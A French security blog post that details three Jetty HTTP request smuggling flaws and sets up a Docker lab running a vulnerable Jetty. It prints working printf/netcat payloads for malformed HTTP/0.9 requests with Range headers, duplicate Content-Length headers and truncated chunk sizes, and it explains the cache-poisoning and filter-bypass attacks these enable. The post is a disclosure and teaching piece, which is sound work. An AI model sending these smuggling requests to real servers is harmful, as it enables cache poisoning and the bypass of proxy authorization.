Makina Blog

Le blog Makina-corpus

Contrebande de HTTP (HTTP Smuggling): Jetty


Détails des failles CVE-2017-7658, CVE-2017-7657 et CVE-2017-7656 (failles publiées le 2018-06-27)

version Française (English Version available on regilero's blog). temps de lecture estimé: 15min

Jetty?

Jetty est un serveur HTTP en Java, mais pas uniquement, c'est aussi par exemple un serveur de servlet Java. Si vous ne connaissez pas on pourrait le comparer à Tomcat. Jetty est une brique très légère et on la retrouve dans de nombreux projets. Pour ce qui nous concerne c'est bien l'aspect serveur HTTP qui va nous intéresser. Le sujet du jour étant encore et toujours une liste de failles de contrebande de HTTP, avec des failles que nous avons rapporté l'année passée, et que nous allons détailler dans cet article.

Version corrigées de Jetty

Si vous utilisez jetty dans vos projets ou vos déploiements il est conseillé de s'assurer que votre version est supérieure à :

  • 9.2.x : 9.2.25v20180606
  • 9.3.x : 9.3.24.v20180605
  • 9.4.x : 9.4.11.v20280605
  • on ne parle même pas des versions plus anciennes, avant la série des 9.x, qui ne sont plus maintenues.

Notez que les failles ont été révélées il y a presque un an, donc si vous avez toujours une version inférieure à celles indiquées il est vraiment temps de mettre à jour.

Les failles (en résumé)

Globalement les 3 CVEs référencent des failles assez classiques (dans ce domaine particulier). Il s'agit d'erreur d'interprétation de cas syntaxiques limites. Des cas qui le plus souvent devraient donner lieu à des erreurs, et qui en l'occurrence ne génèrent pas d'erreur.

Dans cet article je m'intéresserai plus en détail aux failles originales, comme le HTTP/0.9 ou la troncature de nombre sur les tailles de chunks. Mais en regardant le détail officiel des CVE on peut voir que plusieurs autres failles plus classiques sont aussi présentes :

In Eclipse Jetty, versions 9.2.x and older, 9.3.x (all configurations), and 9.4.x (non-default configuration with RFC2616 compliance enabled), HTTP/0.9 is handled poorly. An HTTP/1 style request line (i.e. method space URI space version) that declares a version of HTTP/0.9 was accepted and treated as a 0.9 request. If deployed behind an intermediary that also accepted and passed through the 0.9 version (but did not act on it), then the response sent could be interpreted by the intermediary as HTTP/1 headers. This could be used to poison the cache if the server allowed the origin client to generate arbitrary content in the response.

En français:

Dans Eclipse Jetty, versions 9.2.x et précédentes, 9.3.x (toutes configurations), et 9.4.x (configuration qui n'est pas par défaut avec la conformité RFC2616 ajoutée), HTTP/0.9 est mal géré. Une ligne de requête dans le style HTTP/1.1 (c'est à dire avec méthode -espace-URI-espace-version) qui déclare une version HTTP/0.9 était acceptée et traitée comme une requête 0.9. Si déployé derrière un intermédiaire qui acceptait et transférait lui aussi la version 0.9 (mais n'agissait pas dessus), alors la réponse renvoyée pourrait être interprétée par l'intermédiaire comme des entêtes HTTP/1.1. Ceci pourrait être utilisé pour empoisonner le cache si le serveur autorisait le client d'origine à générer des contenus arbitraires dans la réponse.

Dans cet article nous allons étudier un peu plus en détail ce que tout cela signifie.

In Eclipse Jetty, versions 9.2.x and older, 9.3.x (all configurations), and 9.4.x (non-default configuration with RFC2616 compliance enabled), transfer-encoding chunks are handled poorly. The chunk length parsing was vulnerable to an integer overflow. Thus a large chunk size could be interpreted as a smaller chunk size and content sent as chunk body could be interpreted as a pipelined request. If Jetty was deployed behind an intermediary that imposed some authorization and that intermediary allowed arbitrarily large chunks to be passed on unchanged, then this flaw could be used to bypass the authorization imposed by the intermediary as the fake pipelined request would not be interpreted by the intermediary as a request.

En français:

  • (… idem …) la transmission de de données en morceaux 'transfer-encoding: chunked' était mal gérée. Le parsing de la longueur de chunk (morceau) était sensible à un débordement d'entier. Par conséquent une grande taille de chunk pouvait être interprété comme une longueur de chunk plus petite et le contenu envoyé dans ce chunk pouvait être interprété comme une requête en mode pipeline. Si Jetty était déployé derrière un intermédiaire qui imposait quelques autorisations (authentifications?) et que cet intermédiaire autorisait la transmission de chunks très grands sans les modifier, alors cette faille pouvait être utilisée pour passer outre ces autorisations imposées par l'intermédiaire car la fausse requête en mode pipeline ne serait pas interprétée par cet intermédiaire comme une requête.*

Pour ceux qui ont déjà lu mes articles sur la contrebande de HTTP c'est assez classique, mais on notera que le bypass d'authentification n'est qu'une des attaques possibles en contrebande de HTTP, pour une faille du type 'troncature de nombre dans les tailles des chunks' c'est sans doute la seule exploitable. Comme pour la précédente cet article détaillera un peu ce que tout cela veut dire.

In Eclipse Jetty Server, versions 9.2.x and older, 9.3.x (all non HTTP/1.x configurations), and 9.4.x (all HTTP/1.x configurations), when presented with two content-lengths headers, Jetty ignored the second. When presented with a content-length and a chunked encoding header, the content-length was ignored (as per RFC 2616). If an intermediary decided on the shorter length, but still passed on the longer body, then body content could be interpreted by Jetty as a pipelined request. If the intermediary was imposing authorization, the fake pipelined request would bypass that authorization.

En français:

  • (… idem, sauf que toutes les version de la 9.4 sont concernées …), face à deux entêtes content-length, Jetty ignorait le second. Face à un content-length et un entête 'transfer-encoding: chunked', le content-length était ignoré (conformément à la RFC 2616). Si un intermédiaire se décidait sur la taille la plus petite mais passait quand même le body le plus long, alors le contenu du body pouvait être interprété par Jetty comme une requête en mode pipeline. Si l'intermédiaire imposait des autorisations, la fausse requête en mode pipeline passait alors outre cette autorisation.

On remarquera que c'est la faille la plus importante en terme de sévérité. Par contre elle est plutôt classique si vous avez déjà lu mes autres articles. Le doublement d'entête Content-Length fait partie des des failles les plus anciennes (premiers travaux publics en 2005). La RFC moderne de HTTP impose de rejeter ces messages, purement et simplement.

Se faire un labo de test

Si vous voulez voir les failles il faut disposer de versions de Jetty anciennes, et lancer les requêtes dessus avec les commandes netcat + printf indiquées ci-dessous. Pour monter ce labo le plus simple va être d'utiliser docker.

Voici un Dockerfile fonctionnel:

FROM jetty:9.4.9
RUN mkdir /var/lib/jetty/webapps/root
RUN bash -c 'set -ex \
  && cd /var/lib/jetty/webapps/root \
  && wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \
  && unzip sample.war'
EXPOSE 8080
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java","-jar","/usr/local/jetty/start.jar"]

Construisons-le et lançons-le, mettez vous dans le dossier où ce Dockerfile est présent:

docker build -t jetty9_4_9 .
docker run --name dockerjetty9_4_9 -p 8994:8080 -d jetty9_4_9

Vous devriez obtenir ceci:

$ docker ps
CONTAINER ID        IMAGE               COMMAND                     CREATED             STATUS              PORTS                    NAMES
aa59d97778f1        jetty9_4_9          "/docker-entrypoint(...)"   3 seconds ago       Up 2 seconds        0.0.0.0:8994->8080/tcp   dockerjetty9_4_9

Votre jetty est alors disponible sur 127.0.0.1:8994

Détails Intéressants

Je vous passe les détails sur les petits bugs d'espaces et pseudo-espaces en début de requête, les caractères limites autorisés aux mauvais endroits, etc. Regardons plus en détail les choses vraiment amusantes.

HTTP/0.9

La syntaxe du HTTP 0.9 est :

GET /path/to/resource\r\n

Il n'y a pas de version de protocole, comme dans:

GET /path/to/resource HTTP/0.9\r\n

Et il ne devrait pas y avoir d'entêtes après cette première ligne comme dans:

GET /path/to/resource HTTP/0.9\r\n
Range: bytes=5-18\r\n
\r\n

Une réponse en HTTP 0.9 ne contient aucune méta-information (pas d'entête, pas de type de contenu, pas de tailles).

Dans Jetty il n'y a normalement pas de support pour les requêtes en 0.9. Vous pouvez faire le test sur votre docker (qui écoute sur le port 8994), en tapant printf 'GET /?test=4564\r\n'|nc -q 1 127.0.0.1 8994\r\n (il vous faut nc, nommé aussi netcat).

$ printf 'GET /?test=4564\r\n'\
> |nc -q 1 127.0.0.1 8994
HTTP/1.1 400 HTTP/0.9 not supported
Content-Type: text/html
Content-Length: 65
Connection: close
Server: Jetty(9.4.9.v20180320)

<h1>Bad Message 400</h1><pre>reason: HTTP/0.9 not supported</pre>

Si vous refaites un autre labo de test avec un jetty 9.2 vous verrez qu'il y avait encore du support pour du 0.9 tant que la syntaxe était bonne.

Jusqu'ici tout va bien. Mais ajoutons une partie déclaration du protocole dans notre ligne avec HTTP/0.9, ce qui est interdit:

printf 'GET /?test=4564 HTTP/0.9\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994<html>

<head>
<title>Sample "Hello, World" Application</title>
</head>
<body bgcolor=white>

<table border="0">
<tr>
(...)

Ici Jetty renvoie une réponse 0.9 classique, sans les entêtes, juste le body.

On commence déjà à avoir un problème de sécurité. Un acteur précédent dans la chaîne de transmission de la requête ne considèrera pas HTTP/0.9 comme une syntaxe valide pour du HTTP v0.9 et pourrait lire cette réponse sans entête comme une réponse HTTP/1.0 ou HTTP/1.1.

Ajoutons un deuxième problème qui rend ce support encore plus problématique, les entêtes de la requête sont pris en compte. ils ne devraient pas, il n'y a pas d'entête en v0.9.

On ajoute donc un entête range pour voir si notre requête peut extraire arbitrairement n'importe quelle partie de la réponse:

printf 'GET /?test=4564 HTTP/0.9\r\n'\
'Range: bytes=36-42\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994

, World

Victoire.

Cela signifie qu'on peut utiliser une requête qui n'est pas officiellement une requête en mode 0.9 (vu qu'il y a HTTP/0.9 à tort dedans), avec support des entêtes, et que l'on peut choisir assez facilement la partie de la réponse qui sera renvoyée, le tout sans headers ajoutés par le serveur HTTP. L'idée derrière, pour exploiter ces failles, est d'extraire une fausse réponse HTTP/1.0 ou 1.1, cachée par exemple dans une image.

Si une requête HTTP/0.9 invalide est envoyée à travers un Reverse Proxy (qui ne la détecterait pas comme une requête en mode 0.9), la réponse pourrait être interprétée comme une réponse HTTP/1.1 valide si le contenu de cette réponse ressemble à du HTTP/1.1.

On peut cacher une réponse HTTP complète (entête+body) dans les données EXIF d'une image, extraire cette section de l'image avec une requête HTTP de type Range, et utiliser ce morceau de données comme une réponse HTTP/1.1 valide. Si vous regardez le deuxième exemple d'attaque dans cette vidéo c'est l'effet obtenu avec une faille HTTP/0.9 sur golang. Il vous faudra juste la possibilité d'uploader le fichier contenant cette réponse sur le serveur, et un reverse proxy qui sera sensible à ce HTTP/0.9.

Double Content-Length

Rapidement, pour observer l'impact, une faille critique de 'request splitting', dans certaines configurations on peut obtenir deux réponses au lieu d'une en doublant l'information Content-Length dans les entêtes. Doubler cet entête est strictement interdit, sans quoi, justement, on ne sait plus trop évaluer la taille du body en fonction de l'acteur qui interprète le flux HTTP.

Premier problème, sur la version 9.2 il était toujours possible d'utiliser deux entêtes "Content-Length". Sur les versions 9.3 et 9.4 c'est plus difficile, mais si le premier entête vaut 0 ça passe.

Rejected:
    Content-Length: 200\r\n
    Content-Length: 99\r\n
Rejected:
    Content-Length: 200\r\n
    Content-Length: 200\r\n
Rejected:
    Content-Length: 0\r\n
    Content-Length: 200\r\n
    Content-Length: 0\r\n
Rejected:
    Content-Length: 0\r\n
    Content-Length: 99\r\n
    Content-Length: 200\r\n
Rejected:
    Content-Length: 200\r\n
    Content-Length: 0\r\n
Accepted:
    Content-Length: 0\r\n
    Content-Length: 200\r\n

Exemple dans le labo:

printf 'GET /?test=4966 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'Connection: keepalive\r\n'\
'Content-Length: 45\r\n'\
'Content-Length: 0\r\n'\
'\r\n'\
'GET /?test=4967 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994 | grep "HTTP"

HTTP/1.1 400 Duplicate Content-Length

Ici un joli rejet.

printf 'GET /?test=4968 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'Connection: keepalive\r\n'\
'Content-Length: 0\r\n'\
'Content-Length: 45\r\n'\
'\r\n'\
'GET /?test=4969 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994 | grep "HTTP"

HTTP/1.1 200 OK

Et là on n'est pas rejeté. Vous me direz, peut-être, qu'il n'y a pas de splitting, on n'a pas eu de deuxième réponse. Le problème en fait est que la seule bonne réponse est de rejeter le message. Imaginez qu'à la place nous envoyons un pipeline un peu plus long:

printf 'GET /?test=4970 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'Connection: keepalive\r\n'\
'Content-Length: 0\r\n'\
'Content-Length: 45\r\n'\
'\r\n'\
'GET /?test=4971 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'GET /?test=4972 HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994 | grep "HTTP"

HTTP/1.1 200 OK
HTTP/1.1 200 OK

Nous avons reçu deux réponses, mais si nous sommes passés à travers un autre acteur qui oublie lui aussi de rejeter le message invalide, il pourrait tout aussi bien s'attendre à recevoir trois réponses au lieu de deux (puisqu'il n'y a pas de bonne façon de choisir entre les deux entêtes Content-Length). Et donc commencer à mélanger les réponses, ce qui n'est pas bon du tout.

On touche d'ailleurs un des points sensibles du HTTP Smuggling, les gros problèmes arrivent toujours quand plusieurs failles, sur plusieurs acteurs, se combinent ensemble pour générer du chaos.

Troncature d'attribut de taille de chunk

Vous avez peut-être remarqué dans les exemples précédents mon utilisation du grep à la fin de la commande. Il n'est pas obligatoire, il permet simplement de détecter plus vite le nombre de réponses recues par le test.

Pour changer je vais commencer directement par le test:

printf 'POST /?test=4973 HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'100000000\r\n'\
'\r\n'\
'POST /?test=4974 HTTP/1.1\r\n'\
'Content-Length: 5\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994|grep "HTTP/1.1"

HTTP/1.1 200 OK
HTTP/1.1 200 OK

On obtient deux réponses. Mais est-ce qu'on avait bien deux requêtes? Dans ce qui ressemble à la première requête on annonce Transfer-Encoding: chunked. On ignore les entêtes Content-Length, au lieu de travailler sur une annonce préliminaire de la taille du body on le transmet par chunks (morceaux). On devrait donc avoir, dans le body, des choses de ce genre:

5\r\n
xxxxxx\r\n
5\r\n
\r\n
xxxxxx\r\n
0\r\n
\r\n

Soit:

<taille du 1er chunk exprimée en hexa>\r\n
xxxxxx<contenu du chunk>xxxxx\r\n
<taille du 2eme chunk exprimée en hexa>\r\n
\r\n
xxxxxx<contenu du chunk>xxxxx\r\n
<taille 0, dernier chunk, fin de transmission>\r\n
\r\n

Et donc notre première requête annonce, en hexadécimal, un chunk (morceau) immense de taille 1000000000 (en décimal je vous laisse calculer mais ça fait vraiment très gros). Et visiblement jetty a interprété cela comme un '0', donc un marqueur de dernier chunk, et POST /?test=4974 ainsi que tout ce qui suivait, est devenu une requête alors que cela était du pur body à ignorer.

Regardons un deuxième exemple:

printf 'POST /?test=4975 HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'1ff00000008\r\n'\
'abcdefgh\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'POST /?test=4976 HTTP/1.1\r\n'\
'Content-Length: 5\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994|grep "HTTP/1.1"

HTTP/1.1 200 OK
HTTP/1.1 200 OK

Deux réponses encore, 1ff00000008 a été interprété comme un 8 et n'a pris en compte que abcdefgh pour le body.

La solution du mystère c'est que Jetty ne prend (prenait) en compte que les 8 derniers octets de l'attribut chunk size (ce qui ressemble à la faille Apache CVE-2015-3183 que nous avions déjà détectée, mais pour laquelle la troncature se faisait sur les premiers bits, et non les derniers, et plutôt sur une trentaine de caractères):

ffffffffffff00000000\r\n
            ^^^^^^^^
            00000000 => size 0

1ff00000008\r\n
   ^^^^^^^^
   00000008 => size 8

Un serveur HTTP a le droit de décréter qu'un attribut 'taille de chunk' est trop gros, et peut alors émettre une erreur HTTP (comme une erreur 400), mais tronquer un attribut qui permet de définir la taille du message c'est très très dangereux. Ici une attaque passerait par un Reverse Proxy cache qui retransmettrait les chunks sans les réécrire (ce qui est un cas plutôt courant), et qui serait toujours en train de transmettre le contenu arbitraire du premier chunk, (avec une requête qui n'est pas terminée, le reverse proxy attends des milliers de Tera en entrée, c'est ce que le client annonce). Côté Jetty par contre on aurait terminé le traitement de la première depuis longtemps, on démarre alors le traitement d'une requête que personne avant Jetty n'avait détecté (dans le précédent exemple la requête POST /?test=4976). Puis on envoie une deuxième réponse.

D'après les tests que j'ai pu effectuer, les Reverse Proxy apprécient peu de recevoir une réponse alors qu'ils retransmettent toujours le body de la première requête, et s'ils n'ont pas coupé à ce moment là ils couperont quand une deuxième réponse sera renvoyée. La faille par contre c'est que la deuxième requête pourrait être une requête interdite, les filtrages de sécurité éventuellement mis en place dans ces Reverse Proxy, WAF, load balancers, n'ont pas détecté cette deuxième requête, c'est un bypass de filtrage de sécurité.

Pour le moment je ne vois pas d'autres exploitations, mais un esprit créatif pourrait peut-être en trouver une.

La prochaine fois on parlera de Apache Traffic Server, avec beaucoup, beaucoup plus de manipulations de laboratoire, pour ceux qui veulent s'autoformer à l'écriture de requêtes qui jouent avec les limites du protocole.

Timeline

  • 15 mai 2018: rapport de sécurité envoyé
  • 25 juin 2018: annonce officielle par le projet
  • avril 2019: cette page

Voir aussi

Formations associées

Formations Outils et bases de données

Formation sécurité web

Paris Du 27 au 29 février 2024

Voir la formation

Formations Django

Formation Django avancé

À distance (FOAD) Du 9 au 13 décembre 2024

Voir la formation

Formations Python

Formation Python avancé

Nantes Du 8 au 12 avril 2024

Voir la formation

Actualités en lien

19/05/2021

Sécurité: Problèmes de HTTP Smuggling (contrebande de HTTP) en 2015 - Partie 1

Première partie d'une série d'articles sur le HTTP Smuggling en 2015 - Injection de HTTP dans HTTP, la théorie.

Voir l'article
02/11/2018

Sécurité : Contrebande de HTTP, Apache Traffic Server

Détails de la CVE CVE-2018-8004 (Août 2018 - Apache Traffic Server).

Voir l'article
03/07/2018

Contrebande de HTTP (Smuggling): Load Balancer Apsis Pound

Détails de la faille CVE-2016-10711 (faille publiée en février 2018)

Voir l'article

Inscription à la newsletter

Nous vous avons convaincus